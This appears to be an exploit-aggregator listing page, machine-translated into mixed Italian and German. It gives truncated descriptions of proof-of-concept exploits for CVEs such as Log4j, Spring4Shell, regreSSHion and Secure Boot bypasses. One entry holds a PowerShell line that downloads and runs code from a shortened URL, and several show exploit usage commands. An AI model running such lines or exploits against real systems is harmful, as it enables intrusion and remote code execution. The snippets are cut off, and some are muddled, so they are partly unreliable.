625027 matches found
dubiousdisk
dubious disk - il porygon-z super efficace contro Secure Boot! CVE-2022-30203, CVE-2023-21560, CVE-2023-28269, CVE-2023-28249, and more... Codice eccessivamente permissivo nell'ambiente di avvio di Windows consente di sovrascrivere memoria arbitraria e, quindi, eseguire codice arbitrario. Exploit...
CVE-2023-50643
CVE-2023-50643 CVE-2023-50643 Un problema in Evernote per macOS v.10.68.2 consente a un attaccante remoto di eseguire codice arbitrario tramite i componenti RunAsNode e enableNodeClilnspectArguments Esiste uno strumento progettato per automatizzare il processo di ricerca di vulnerabilità in...
nmap-spring4shell
Nmap-spring4shell Log4shell-nmap è uno script NSE per rilevare vulnerabilità RCE di Spring4Shell CVE-2022-22965 nei servizi HTTP. Lo script inietta il payload corretto nell'applicazione e poi esegue il seguente comando sull'endpoint specificato. Vulnerabilità Vedi qui. Utilizzo root@kitploit:...
CVE-2024-47533-Cobbler-XMLRPC-Authentication-Bypass-RCE-Exploit-POC
CVE-2024-47533 - Exploit di Bypass dell'Autenticazione XMLRPC di Cobbler con RCE ⚠️ Esecuzione Remota di Codice Critica tramite Bypass dell'Autenticazione in Cobbler 🛠️ Implementazione PoC di @dollarboysushil 💡 Panoramica Cobbler, un server di installazione Linux che consente la configurazione...
CVE-2018-17463
CVE-2018-17463 Funktionierender Proof-of-Concept-Exploit für CVE-2018-17463, der WebAssembly-RWX-Seiten zur Shellcode-Ausführung nutzt. CVE-2018-17463 resultierte aus der falschen Nebenwirkungsannotation in V8 in Google Chrome vor 70.0.3538.64, die es einem entfernten Angreifer ermöglichte, über...
CVE-2020-36603
CVE-2020-36603 Der HoYoVerse ehemals miHoYo Genshin Impact mhyprot2.sys 1.0.0.0 Anti-Cheat-Treiber schränkt nicht privilegierte Funktionsaufrufe nicht ausreichend ein, sodass lokale, nicht privilegierte Benutzer unter Microsoft Windows-Systeme beliebigen Code mit SYSTEM-Berechtigungen ausführen...
CVE-2024-7954-RCE
Descrizione Il plugin porteplume utilizzato da SPIP prima delle versioni 4.30-alpha2, 4.2.13 e 4.1.16 è vulnerabile a una vulnerabilità di esecuzione di codice arbitrario. Un attaccante remoto non autenticato può eseguire codice PHP arbitrario come utente SPIP inviando una richiesta HTTP...
CVE-2019-19268
CVE-2019-19268 Versione interessata: rConfig 3.9.2. Descrizione Molti vettori di attacco in rConfig v3.9.2 a causa di una configurazione errata, che consente agli utenti locali di eseguire comandi root tramite sudo. Scopritori dmw0ng - Discord: dmw0ng4449 TheCyberGeek - Discord: TheCyberGeek1892...
CVE-2024-6387-poc-1
CVE-2024-6387 regreSSHion in OpenSSH Beschreibung CVE-2024-6387, auch "regreSSHion" genannt, ist eine kritische Sicherheitslücke in OpenSSH, die es nicht authentifizierten entfernten Angreifern ermöglicht, Code mit Root-Rechten auf verwundbaren Linux-Systemen auszuführen. Diese Schwachstelle...
CVE-2024-4577-RCE
PHP CGI Argument Injection CVE-2024-4577 RCE 📜 Descrizione...
Log4j-PoC
Proof of Concept per Log4j CVE-2021-44228 Dichiarazione di non responsabilità Questo progetto è solo a scopo educativo. Introduzione Questo è un proof of concept dell'RCE di log4j adattato da HyCraftHD. Ecco alcuni link per la CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day...
CVE-2020-8163
CVE-2020-8163 Ambiente ed exploit per CVE-2020-8163: esecuzione remota di codice cieca di nomi locali forniti dall'utente in Rails 5.0.1 e 4.2.11.2 Crea l'ambiente 1. crea un container docker mappando la porta 4000 sulla 8001 root@kitploit: sudo docker run --rm -it -p 8001:4000 ruby:2.3 bash 2...
CVE-2019-10869
CVE-2019-10869 Wordpress Ninja Forms File Uploads Extension -----------------------------16345274557837-- Risposta:...
CVE-2019-17564
CVE-2019-17564：Vulnerabilità di deserializzazione in Apache Dubbo 0x00 Introduzione Apache Dubbo è un framework RPC Java open source ad alte prestazioni e leggero che fornisce tre capacità fondamentali: chiamate a metodi remoti orientate all'interfaccia, tolleranza ai guasti intelligente e...
CVE-2014-4113
CVE-2014-4113 PowerShell CVE-2014-4113 Solo Windows x64 iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...
CVE-2021-40444
〖EXP〗Ladon CVE-2021-40444 Nachstellung der Office-Sicherheitslücke Überblick über die Sicherheitslücke Am 8. September Pekinger Zeit entdeckte das CERT von NSFOCUS, dass Microsoft ein Sicherheitsbulletin veröffentlichte, das die Sicherheitslücke zur Remote-Codeausführung in Microsoft MSHTML...
CVE-2019-7216
CVE-2019-7216 In filechucker.cgi versione 5.09 e filechuckerprefs.cgi versione 4.99e-free-e02 c'è un bypass del filtro, al momento del caricamento, che può portare all'esecuzione remota di codice se l'utente carica un file dannoso. Il bypass si verifica quando filechucker tenta di filtrare...
CVE-2024-27348
CVE-2024-27348 🪶 CVE-2024-27348 Prova di concetto per l'Exploit RCE in Apache HugeGraph Server Utenti non autenticati possono eseguire comandi del sistema operativo tramite iniezione Groovy in Apache HugeGraph Server. Utilizzo 🛠 Sfrutta più target ☣️ root@kitploit: python3 CVE-2024-27348.py -f...
wp_CVE-2020-35489_checker
wpCVE-2020-35489checker CVE-2020-35489 - Introduzione wpCVE-2020-35489checker è uno strumento da riga di comando Python progettato per verificare se un sito WordPress è vulnerabile a CVE-2020-35489. Questa vulnerabilità specifica deriva da un difetto di sicurezza nel plugin Contact Form 7 di...